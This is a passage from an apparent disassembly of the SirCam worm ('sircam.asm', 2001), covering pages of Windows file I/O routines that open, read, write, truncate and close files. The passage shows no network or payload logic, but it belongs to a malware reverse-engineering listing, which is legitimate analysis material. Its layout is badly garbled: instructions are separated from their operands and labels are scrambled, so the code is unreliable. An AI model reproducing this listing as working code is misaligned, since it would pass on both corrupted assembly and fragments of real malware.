; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentThreadId. PRESS KEYPAD "+" TO EXPAND]
align 4
loc_404C14:
xor
mov
mov
push
lea
push
push
push
push
call
test
jz
; DATA XREF: CODE:00404CB7\031o
edx, edx
[eax+10h], edx
[eax+0Ch], edx
edx
edx, [eax+10h]
edx
dword ptr [eax+8]
dword ptr [eax+14h]
dword ptr [eax]
j_ReadFile
eax, eax
short loc_404C35
loc_404C32:
; CODE XREF: CODE:00404C3D\031j
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404C35:
; CODE XREF: CODE:00404C30\030j
call
j_GetLastError
cmp
eax, 6Dh
jz
short loc_404C32
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404C40:
; DATA XREF: CODE:00404CEE\031o
; CODE:00404DAD\031o
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404C43:
; DATA XREF: CODE:00404CE0\031o
; CODE:00404DE8\031o
push
mov
test
jle
xor
mov
push
lea
push
push
push
push
call
test
jz
ecx
edx, [eax+0Ch]
edx, edx
short loc_404C65
ecx, ecx
[eax+0Ch], ecx
ecx
ecx, [esp+4]
ecx
edx
dword ptr [eax+14h]
dword ptr [eax]
j_WriteFile
eax, eax
short loc_404C69
xor
eax, eax
loc_404C65:
loc_404C67:
; CODE XREF: CODE:00404C49\030j
; CODE XREF: CODE:00404C6E\031j
sircam.asm
Fri Aug 10 12:42:44 2001
130
pop
ecx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404C69:
; CODE XREF: CODE:00404C63\030j
call
j_GetLastError
jmp
short loc_404C67
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404C70:
; DATA XREF: CODE:00404CE7\031o
push
dword ptr [eax]
mov
dword ptr [eax+4], 0D7B0h
call
j_CloseHandle
dec
eax
jnz
short loc_404C82
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404C82:
; CODE XREF: CODE:00404C7F\030j
call
j_GetLastError
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404C88:
; DATA XREF: sub_404E16+21\031o
push
esi
mov
esi, eax
xor
eax, eax
mov
[esi+0Ch], eax
mov
[esi+10h], eax
mov
eax, [esi+4]
sub
eax, 0D7B1h
jz
short loc_404CA8
dec
eax
jz
short loc_404CC0
dec
eax
jz
short loc_404CD1
jmp
loc_404DF1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404CA8:
; CODE XREF: CODE:00404C9B\030j
mov
eax, 80000000h
mov
edx, 1
mov
ecx, 3
mov
dword ptr [esi+1Ch], offset loc_404C14
jmp
short loc_404CE7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404CC0:
; CODE XREF: CODE:00404C9E\030j
mov
eax, 40000000h
mov
edx, 1
mov
ecx, 2
jmp
short loc_404CE0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404CD1:
; CODE XREF: CODE:00404CA1\030j
mov
mov
mov
eax, 0C0000000h
edx, 1
ecx, 3
mov
; CODE XREF: CODE:00404CCF\030j
dword ptr [esi+1Ch], offset loc_404C43
mov
mov
cmp
jz
push
push
push
; CODE XREF: CODE:00404CBE\030j
dword ptr [esi+24h], offset loc_404C70
dword ptr [esi+20h], offset loc_404C40
byte ptr [esi+48h], 0
loc_404DAD
0
80h
ecx
loc_404CE0:
loc_404CE7:
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
push
lea
push
call
cmp
jz
mov
cmp
jnz
dec
push
push
call
inc
jz
sub
jnb
xor
0
edx
eax
eax, [esi+48h]
eax
j_CreateFileA
eax, 0FFFFFFFFh
loc_404E08
[esi], eax
dword ptr [esi+4], 0D7B3h
loc_404DCF
dword ptr [esi+4]
0
dword ptr [esi]
j_GetFileSize
eax
loc_404E08
eax, 81h
short loc_404D48
eax, eax
push
push
push
push
call
inc
jz
push
mov
push
push
push
lea
push
push
call
pop
dec
jnz
xor
0
0
eax
dword ptr [esi]
j_SetFilePointer
eax
loc_404E08
0
edx, esp
0
edx
80h
edx, [esi+14Ch]
edx
dword ptr [esi]
j_ReadFile
edx
eax
loc_404E08
eax, eax
131
loc_404D48:
; CODE XREF: CODE:00404D44\030j
loc_404D7F:
; CODE XREF: CODE:00404D8E\031j
cmp
eax, edx
jnb
short loc_404DCF
cmp
byte ptr [esi+eax+14Ch], 1Ah
jz
short loc_404D90
inc
eax
jmp
short loc_404D7F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404D90:
; CODE XREF: CODE:00404D8B\030j
push
2
push
0
sub
eax, edx
push
eax
push
dword ptr [esi]
call
j_SetFilePointer
inc
eax
jz
short loc_404E08
push
dword ptr [esi]
call
j_SetEndOfFile
dec
eax
jnz
short loc_404E08
jmp
short loc_404DCF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404DAD:
mov
; CODE XREF: CODE:00404CF9\030j
dword ptr [esi+24h], offset loc_404C40
sircam.asm
Fri Aug 10 12:42:44 2001
132
cmp
dword ptr [esi+4], 0D7B2h
jz
short loc_404DC1
push
0FFFFFFF6h
jmp
short loc_404DC3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404DC1:
; CODE XREF: CODE:00404DBB\030j
push
0FFFFFFF5h
call
cmp
jz
mov
j_GetStdHandle
eax, 0FFFFFFFFh
short loc_404E08
[esi], eax
cmp
jz
push
call
test
jz
cmp
jnz
mov
; CODE XREF: CODE:00404D26\030j
; CODE:00404D81\030j ...
dword ptr [esi+4], 0D7B1h
short loc_404DEF
dword ptr [esi]
j_GetFileType
eax, eax
short loc_404DF3
eax, 2
short loc_404DEF
dword ptr [esi+20h], offset loc_404C43
loc_404DC3:
; CODE XREF: CODE:00404DBF\030j
loc_404DCF:
loc_404DEF:
; CODE XREF: CODE:00404DD6\030j
; CODE:00404DE6\030j
xor
eax, eax
loc_404DF1:
; CODE XREF: CODE:00404CA3\030j
; CODE:00404E06\031j ...
pop
esi
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404DF3:
; CODE XREF: CODE:00404DE1\030j
push
dword ptr [esi]
call
j_CloseHandle
mov
dword ptr [esi+4], 0D7B0h
mov
eax, 69h
jmp
short loc_404DF1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404E08:
mov
call
jmp
; CODE XREF: CODE:00404D17\030j
; CODE:00404D39\030j ...
dword ptr [esi+4], 0D7B0h
j_GetLastError
short loc_404DF1
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404E16
proc near
lea
mov
xor
mov
mov
mov
mov
mov
mov
mov
mov
mov
lea
test
; CODE XREF: sub_405880+A8\031p
; sub_405880+B7\031p ...
ecx, [eax+14Ch]
[eax+14h], ecx
ecx, ecx
[eax], ecx
dword ptr [eax+4], 0D7B0h
dword ptr [eax+8], 80h
[eax+0Ch], ecx
[eax+10h], ecx
dword ptr [eax+18h], offset loc_404C88
[eax+1Ch], ecx
[eax+20h], ecx
[eax+24h], ecx
eax, [eax+48h]
edx, edx
sircam.asm
Fri Aug 10 12:42:44 2001
jz
mov
short loc_404E69
ch, 82h
mov
inc
mov
inc
test
jz
mov
inc
mov
inc
test
jz
dec
jnz
dec
; CODE XREF: sub_404E16+50\031j
cl, [edx]
edx
[eax], cl
eax
cl, cl
short locret_404E6B
cl, [edx]
edx
[eax], cl
eax
cl, cl
short locret_404E6B
ch
short loc_404E50
eax
mov
[eax], ch
loc_404E50:
loc_404E69:
; CODE XREF: sub_404E16+36\030j
locret_404E6B:
sub_404E16
133
; CODE XREF: sub_404E16+42\030j
; sub_404E16+4C\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov
edx, [eax+4]
cmp
edx, 0D7B2h
jnz
short loc_404E7F
call
dword ptr [eax+1Ch]
test
eax, eax
jnz
short loc_404E8C
locret_404E7E:
; CODE XREF: CODE:00404E85\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404E7F:
cmp
jz
mov
; CODE XREF: CODE:00404E75\030j
edx, 0D7B1h
short locret_404E7E
eax, 67h
loc_404E8C:
; CODE XREF: CODE:00404E7C\030j
jmp
sub_40267C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404E91:
mov
cmp
jnz
call
test
jnz
; CODE XREF: sub_40520F+F\031j
edx, [eax+4]
edx, 0D7B2h
short loc_404EA4
dword ptr [eax+20h]
eax, eax
short loc_404EB1
locret_404EA3:
; CODE XREF: CODE:00404EAA\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404EA4:
cmp
jz
mov
loc_404EB1:
; CODE XREF: CODE:00404E9A\030j
edx, 0D7B1h
short locret_404EA3
eax, 67h
; CODE XREF: CODE:00404EA1\030j
jmp
sub_40267C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
134
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404EB8
proc near
arg_0
= dword ptr
push
push
mov
mov
mov
sub
cmp
ja
push
push
mov
push
push
mov
mul
push
push
push
call
dec
pop
pop
jnz
xor
div
mov
test
jz
mov
; CODE XREF: sub_416478+23C\031p
; sub_416478+283\031p ...
0Ch
ebx
esi
ebx, eax
esi, edx
edx, [ebx+4]
edx, 0D7B1h
edx, 2
short loc_404F14
ecx
0
eax, esp
0
eax
eax, [ebx+8]
ecx
eax
esi
dword ptr [ebx]
j_ReadFile
eax
eax
ecx
short loc_404F06
edx, edx
dword ptr [ebx+8]
edx, [esp+arg_0]
edx, edx
short loc_404EFB
[edx], eax
loc_404EF6:
; CODE XREF: sub_404EB8+45\031j
; sub_404EB8+5A\031j
pop
esi
pop
ebx
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404EFB:
; CODE XREF: sub_404EB8+3A\030j
cmp
eax, ecx
jz
short loc_404EF6
mov
eax, 64h
jmp
short loc_404F0B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404F06:
; CODE XREF: sub_404EB8+2D\030j
call
j_GetLastError
loc_404F0B:
; CODE XREF: sub_404EB8+4C\030j
; sub_404EB8+61\031j
call
sub_40267C
xor
eax, eax
jmp
short loc_404EF6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404F14:
sub_404EB8
; CODE XREF: sub_404EB8+12\030j
mov
jmp
endp
eax, 67h
short loc_404F0B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
135
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404F1C
proc near
arg_0
= dword ptr
push
push
mov
mov
mov
sub
cmp
ja
push
push
mov
push
push
mov
mul
push
push
push
call
dec
pop
pop
jnz
xor
div
mov
test
jz
mov
; CODE XREF: sub_416478+303\031p
; sub_416478+339\031p ...
0Ch
ebx
esi
ebx, eax
esi, edx
eax, [eax+4]
eax, 0D7B2h
eax, 1
short loc_404F77
ecx
0
eax, esp
0
eax
eax, [ebx+8]
ecx
eax
esi
dword ptr [ebx]
j_WriteFile
eax
eax
ecx
short loc_404F69
edx, edx
dword ptr [ebx+8]
edx, [esp+arg_0]
edx, edx
short loc_404F5E
[edx], eax
loc_404F59:
; CODE XREF: sub_404F1C+44\031j
; sub_404F1C+59\031j
pop
esi
pop
ebx
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404F5E:
; CODE XREF: sub_404F1C+39\030j
cmp
eax, ecx
jz
short loc_404F59
mov
eax, 65h
jmp
short loc_404F6E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404F69:
; CODE XREF: sub_404F1C+2C\030j
call
j_GetLastError
loc_404F6E:
; CODE XREF: sub_404F1C+4B\030j
; sub_404F1C+60\031j
call
sub_40267C
xor
eax, eax
jmp
short loc_404F59
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404F77:
sub_404F1C
; CODE XREF: sub_404F1C+11\030j
mov
jmp
endp
eax, 67h
short loc_404F6E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
136
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404F80
proc near
; CODE XREF: CODE:00404FD2\031p
; sub_405818+1E\031p ...
push
mov
mov
sub
jz
cmp
ja
call
test
jnz
mov
ebx
ebx, eax
edx, [eax+4]
edx, 0D7B1h
short loc_404F9C
edx, 2
short loc_404FAC
dword ptr [eax+1Ch]
eax, eax
short loc_404FA5
eax, ebx
call
test
jnz
; CODE XREF: sub_404F80+C\030j
dword ptr [ebx+24h]
eax, eax
short loc_404FA5
loc_404F9C:
loc_404FA3:
; CODE XREF: sub_404F80+2A\031j
; sub_404F80+31\031j
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404FA5:
; CODE XREF: sub_404F80+18\030j
; sub_404F80+21\030j ...
call
sub_40267C
jmp
short loc_404FA3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404FAC:
sub_404F80
cmp
jz
mov
jmp
endp
; CODE XREF: sub_404F80+11\030j
eax, offset unk_41E048
short loc_404FA3
eax, 67h
short loc_404FA5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_404FBC:
; CODE XREF: CODE:00404FFC\031j
; sub_404FFE+5\031j ...
push
push
mov
mov
mov
sub
jz
cmp
ja
call
ebx
esi
esi, eax
ebx, edx
edx, [esi+4]
edx, 0D7B0h
short loc_404FD7
edx, 3
short loc_404FEB
sub_404F80
mov
mov
call
test
jz
call
; CODE XREF: CODE:00404FCB\030j
eax, esi
[esi+4], ebx
dword ptr [esi+18h]
eax, eax
short loc_404FE8
sub_40267C
loc_404FD7:
loc_404FE8:
; CODE XREF: CODE:00404FE1\030j
; CODE:00404FF5\031j
pop
pop
esi
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
137
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404FEB:
; CODE XREF: CODE:00404FD0\030j
mov
eax, 66h
call
sub_40267C
jmp
short loc_404FE8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov
edx, 0D7B1h
jmp
short loc_404FBC
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404FFE
proc near
sub_404FFE
mov
jmp
endp
; CODE XREF: sub_405144+45\031p
; CODE:00405253\031p
edx, 0D7B2h
short loc_404FBC
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405005
sub_405005
proc near
; CODE XREF: sub_418438+41\031p
mov
edx, 0D7B3h
jmp
short loc_404FBC
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40500C:
; CODE XREF: sub_40510D+12\031j
; sub_405124+5\031j
push
push
push
mov
mov
mov
mov
sub
jz
cmp
ja
call
test
jz
call
ebx
esi
edi
ebx, eax
esi, edx
edi, ecx
edx, [ebx+4]
edx, 0D7B0h
short loc_405035
edx, 3
loc_4050D3
dword ptr [ebx+24h]
eax, eax
short loc_405035
sub_40267C
mov
mov
mov
mov
cmp
jz
mov
mov
and
shr
mov
mov
sub
jz
mov
inc
jz
mov
inc
; CODE XREF: CODE:0040501E\030j
; CODE:0040502E\030j
dword ptr [ebx+4], 0D7B3h
[ebx+8], esi
dword ptr [ebx+24h], offset loc_40512E
dword ptr [ebx+1Ch], offset loc_4050B7
byte ptr [ebx+48h], 0
short loc_4050BA
eax, 0C0000000h
dl, ds:byte_41E042
edx, 70h
edx, 2
edx, ds:dword_4050ED[edx]
ecx, 2
edi, 3
short loc_405097
ecx, 3
edi
short loc_405097
eax, 40000000h
edi
loc_405035:
sircam.asm
Fri Aug 10 12:42:44 2001
mov
jz
mov
mov
138
dword ptr [ebx+4], 0D7B2h
short loc_405097
eax, 80000000h
dword ptr [ebx+4], 0D7B1h
loc_405097:
; CODE XREF: CODE:00405072\030j
; CODE:0040507A\030j ...
push
push
push
push
push
push
lea
push
call
0
80h
ecx
0
edx
eax
eax, [ebx+48h]
eax
j_CreateFileA
cmp
jz
mov
eax, 0FFFFFFFFh
short loc_4050DA
[ebx], eax
loc_4050AC:
; CODE XREF: CODE:004050D1\031j
loc_4050B3:
; CODE XREF: CODE:004050EB\031j
pop
edi
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4050B7:
; DATA XREF: CODE:00405046\030o
; CODE:004050BA\031o
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4050BA:
; CODE XREF: CODE:00405051\030j
mov
dword ptr [ebx+24h], offset loc_4050B7
cmp
edi, 3
jz
short loc_4050CA
push
0FFFFFFF6h
jmp
short loc_4050CC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4050CA:
; CODE XREF: CODE:004050C4\030j
push
0FFFFFFF5h
loc_4050CC:
; CODE XREF: CODE:004050C8\030j
call
j_GetStdHandle
jmp
short loc_4050AC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4050D3:
; CODE XREF: CODE:00405023\030j
mov
eax, 66h
jmp
short loc_4050E6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4050DA:
mov
call
; CODE XREF: CODE:004050AF\030j
dword ptr [ebx+4], 0D7B0h
j_GetLastError
loc_4050E6:
; CODE XREF: CODE:004050D8\030j
call
sub_40267C
jmp
short loc_4050B3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dword_4050ED
dd 3, 0, 1, 2, 3, 3 dup(0) ; DATA XREF: CODE:00405064\030r
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40510D
proc near
; CODE XREF: sub_416478+136\031p
sircam.asm
Fri Aug 10 12:42:44 2001
xor
mov
and
cmp
jbe
mov
; sub_416478+21E\031p ...
ecx, ecx
cl, ds:byte_41E042
cl, 3
cl, 2
short loc_40511F
cl, 2
loc_40511F:
sub_40510D
139
; CODE XREF: sub_40510D+E\030j
jmp
endp
loc_40500C
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405124
proc near
sub_405124
mov
jmp
endp
; CODE XREF: sub_416478+14B\031p
; sub_416B20+97\031p ...
ecx, 3
loc_40500C
